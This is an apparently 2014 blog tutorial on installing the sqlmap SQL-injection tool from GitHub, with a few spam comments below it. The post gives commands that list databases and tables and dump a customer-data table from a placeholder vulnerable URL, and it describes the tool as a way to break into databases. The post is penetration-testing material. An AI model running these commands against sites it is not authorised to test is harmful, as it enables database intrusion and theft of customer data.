Wednesday, 8 October 2014

How To Install sqlmap on Debian (or Ubuntu)




sqlmap is an open-source pentesting tool that automates the exploitation of SQL injection flaws.

The tool makes it pretty easy for anyone with basic command line knowledge to exploit and break into databases.


Installation
sudo apt-get install git
git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev
To list available options:
python sqlmap.py -h
Fetch database names of vulnerable url:
python sqlmap.py -u www.example.com/home.php?ID=10 --dbs
Enumerate tables of a website's database (e.g.: test)
python sqlmap.py -u www.example.com/home.php?ID=10 -D test --tables
Dump all data in database (test) and table (e.g.: costumer_data)
python sqlmap.py -u www.example.com/home.php?ID=10 -D test -T costumer_data --dump
More examples are available here: https://gist.github.com/stamparm/5335217

3 comments:

  1. Such a good post. I should state that I am extremely inspired by your article. I will extremely glad on the off chance that you can tell me more about your articles. I anticipate seeing your new articles each day. I think many individuals like your articles and I will just express profound gratitude for sharing this incredible stuff. You have done truly incredible work. I appreciate your everything post please keep it up.
    Best essay writing service

    ReplyDelete
  2. I love this tutorial is explain how to install this platform step by step thanks man.

    ReplyDelete
  3. Good day! Would you mind if I share your blog with my facebook group? There's a lot of folks that I think would really enjoy your content. Please let me know. Thank you outlook 365 login

    ReplyDelete